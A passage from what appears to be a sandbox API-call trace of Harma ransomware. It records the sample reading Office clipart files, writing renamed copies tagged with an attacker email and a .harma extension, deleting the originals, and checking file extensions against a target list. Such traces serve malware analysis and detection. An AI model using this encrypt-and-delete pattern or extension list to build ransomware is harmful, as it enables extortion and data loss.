Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0140.611] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0140.611] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0140.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0140.612] GetLastError () returned 0x0 [0140.612] ReadFile (in: hFile=0x340, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0xc48, lpOverlapped=0x0) returned 1 [0140.696] WriteFile (in: hFile=0x328, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xc50, lpOverlapped=0x0) returned 1 [0140.697] ReadFile (in: hFile=0x340, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0140.697] WriteFile (in: hFile=0x328, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.698] SetEndOfFile (hFile=0x328) returned 1 [0140.699] CloseHandle (hObject=0x328) returned 1 [0140.699] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0140.699] SetEndOfFile (hFile=0x340) returned 1 [0141.858] CloseHandle (hObject=0x340) returned 1 [0141.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0142.076] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04196_.wmf")) returned 1 [0142.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0142.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0142.084] lstrlenW (lpString=".doc") returned 4 [0142.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.084] lstrlenW (lpString=".docx") returned 5 [0142.084] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.084] lstrlenW (lpString=".pdf") returned 4 [0142.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.084] lstrlenW (lpString=".xls") returned 4 [0142.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.084] lstrlenW (lpString=".xlsx") returned 5 [0142.084] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.084] lstrlenW (lpString=".ppt") returned 4 [0142.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0142.084] lstrlenW (lpString=".zip") returned 4 [0142.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.084] lstrlenW (lpString=".rar") returned 4 [0142.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.085] lstrlenW (lpString=".bz2") returned 4 [0142.085] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.085] lstrlenW (lpString=".7z") returned 3 [0142.085] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0142.085] lstrlenW (lpString=".dbf") returned 4 [0142.085] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0142.085] lstrlenW (lpString=".1cd") returned 4 [0142.085] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0142.085] lstrlenW (lpString=".jpg") returned 4 [0142.085] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0142.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0142.085] lstrlenW (lpString=".doc") returned 4 [0142.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0142.085] lstrlenW (lpString=".docx") returned 5 [0142.085] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0142.085] lstrlenW (lpString=".pdf") returned 4 [0142.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0142.085] lstrlenW (lpString=".xls") returned 4 [0142.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0142.085] lstrlenW (lpString=".xlsx") returned 5 [0142.085] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0142.085] lstrlenW (lpString=".ppt") returned 4 [0142.085] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0142.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0142.085] lstrlenW (lpString=".zip") returned 4 [0142.085] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0142.086] lstrlenW (lpString=".rar") returned 4 [0142.086] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0142.086] lstrlenW (lpString=".bz2") returned 4 [0142.086] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0142.086] lstrlenW (lpString=".7z") returned 3 [0142.086] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0142.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0142.086] lstrlenW (lpString=".dbf") returned 4 [0142.086] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0142.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0142.086] lstrlenW (lpString=".1cd") returned 4 [0142.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0142.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 63 [0142.086] lstrlenW (lpString=".jpg") returned 4 [0142.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0142.086] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0142.086] lstrlenW (lpString="AN04332_.WMF") returned 12 [0142.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0142.092] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=4296) returned 1 [0142.092] CloseHandle (hObject=0x350) returned 1 [0142.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf")) returned 0x20 [0142.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0142.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0142.860] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0142.860] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0142.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0143.205] GetLastError () returned 0x0 [0143.205] ReadFile (in: hFile=0x210, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x10c8, lpOverlapped=0x0) returned 1 [0143.241] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x10d0, lpOverlapped=0x0) returned 1 [0143.242] ReadFile (in: hFile=0x210, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0143.242] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.242] SetEndOfFile (hFile=0x368) returned 1 [0143.242] CloseHandle (hObject=0x368) returned 1 [0143.243] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.243] SetEndOfFile (hFile=0x210) returned 1 [0143.245] CloseHandle (hObject=0x210) returned 1 [0143.245] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0143.245] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf")) returned 1 [0143.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0143.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0143.246] lstrlenW (lpString=".doc") returned 4 [0143.246] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.246] lstrlenW (lpString=".docx") returned 5 [0143.246] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.246] lstrlenW (lpString=".pdf") returned 4 [0143.246] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.246] lstrlenW (lpString=".xls") returned 4 [0143.246] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.246] lstrlenW (lpString=".xlsx") returned 5 [0143.246] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.246] lstrlenW (lpString=".ppt") returned 4 [0143.246] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0143.246] lstrlenW (lpString=".zip") returned 4 [0143.246] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.246] lstrlenW (lpString=".rar") returned 4 [0143.246] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.246] lstrlenW (lpString=".bz2") returned 4 [0143.246] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.246] lstrlenW (lpString=".7z") returned 3 [0143.246] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0143.246] lstrlenW (lpString=".dbf") returned 4 [0143.246] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0143.246] lstrlenW (lpString=".1cd") returned 4 [0143.246] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0143.246] lstrlenW (lpString=".jpg") returned 4 [0143.247] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0143.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0143.247] lstrlenW (lpString=".doc") returned 4 [0143.247] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.247] lstrlenW (lpString=".docx") returned 5 [0143.247] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.247] lstrlenW (lpString=".pdf") returned 4 [0143.247] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.247] lstrlenW (lpString=".xls") returned 4 [0143.247] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.247] lstrlenW (lpString=".xlsx") returned 5 [0143.247] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.247] lstrlenW (lpString=".ppt") returned 4 [0143.247] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0143.247] lstrlenW (lpString=".zip") returned 4 [0143.247] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.247] lstrlenW (lpString=".rar") returned 4 [0143.247] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.247] lstrlenW (lpString=".bz2") returned 4 [0143.247] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.247] lstrlenW (lpString=".7z") returned 3 [0143.247] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0143.247] lstrlenW (lpString=".dbf") returned 4 [0143.247] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0143.247] lstrlenW (lpString=".1cd") returned 4 [0143.247] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0143.248] lstrlenW (lpString=".jpg") returned 4 [0143.248] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.248] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0143.248] lstrlenW (lpString="BD00155_.WMF") returned 12 [0143.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0143.248] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=11636) returned 1 [0143.248] CloseHandle (hObject=0x210) returned 1 [0143.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x20 [0143.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0143.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0143.249] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.249] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0143.249] GetLastError () returned 0x0 [0143.249] ReadFile (in: hFile=0x210, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x2d74, lpOverlapped=0x0) returned 1 [0143.256] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x2d80, lpOverlapped=0x0) returned 1 [0143.257] ReadFile (in: hFile=0x210, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0143.257] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.257] SetEndOfFile (hFile=0x368) returned 1 [0143.258] CloseHandle (hObject=0x368) returned 1 [0143.258] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.258] SetEndOfFile (hFile=0x210) returned 1 [0143.260] CloseHandle (hObject=0x210) returned 1 [0143.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0143.292] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf")) returned 1 [0143.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0143.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0143.292] lstrlenW (lpString=".doc") returned 4 [0143.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.292] lstrlenW (lpString=".docx") returned 5 [0143.292] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.292] lstrlenW (lpString=".pdf") returned 4 [0143.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.292] lstrlenW (lpString=".xls") returned 4 [0143.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.292] lstrlenW (lpString=".xlsx") returned 5 [0143.292] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.293] lstrlenW (lpString=".ppt") returned 4 [0143.293] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0143.293] lstrlenW (lpString=".zip") returned 4 [0143.293] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.293] lstrlenW (lpString=".rar") returned 4 [0143.293] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.293] lstrlenW (lpString=".bz2") returned 4 [0143.293] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.293] lstrlenW (lpString=".7z") returned 3 [0143.293] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0143.293] lstrlenW (lpString=".dbf") returned 4 [0143.293] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0143.293] lstrlenW (lpString=".1cd") returned 4 [0143.293] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0143.293] lstrlenW (lpString=".jpg") returned 4 [0143.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0143.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0143.293] lstrlenW (lpString=".doc") returned 4 [0143.293] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.293] lstrlenW (lpString=".docx") returned 5 [0143.293] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0143.293] lstrlenW (lpString=".pdf") returned 4 [0143.293] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.293] lstrlenW (lpString=".xls") returned 4 [0143.293] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.294] lstrlenW (lpString=".xlsx") returned 5 [0143.294] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0143.294] lstrlenW (lpString=".ppt") returned 4 [0143.294] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0143.294] lstrlenW (lpString=".zip") returned 4 [0143.294] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.294] lstrlenW (lpString=".rar") returned 4 [0143.294] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.294] lstrlenW (lpString=".bz2") returned 4 [0143.294] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.294] lstrlenW (lpString=".7z") returned 3 [0143.294] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0143.294] lstrlenW (lpString=".dbf") returned 4 [0143.294] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0143.294] lstrlenW (lpString=".1cd") returned 4 [0143.294] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0143.294] lstrlenW (lpString=".jpg") returned 4 [0143.294] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.294] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0143.294] lstrlenW (lpString="BD05119_.WMF") returned 12 [0143.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0143.295] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=17236) returned 1 [0143.295] CloseHandle (hObject=0x368) returned 1 [0143.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x20 [0143.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0143.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0143.295] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.295] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0143.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft 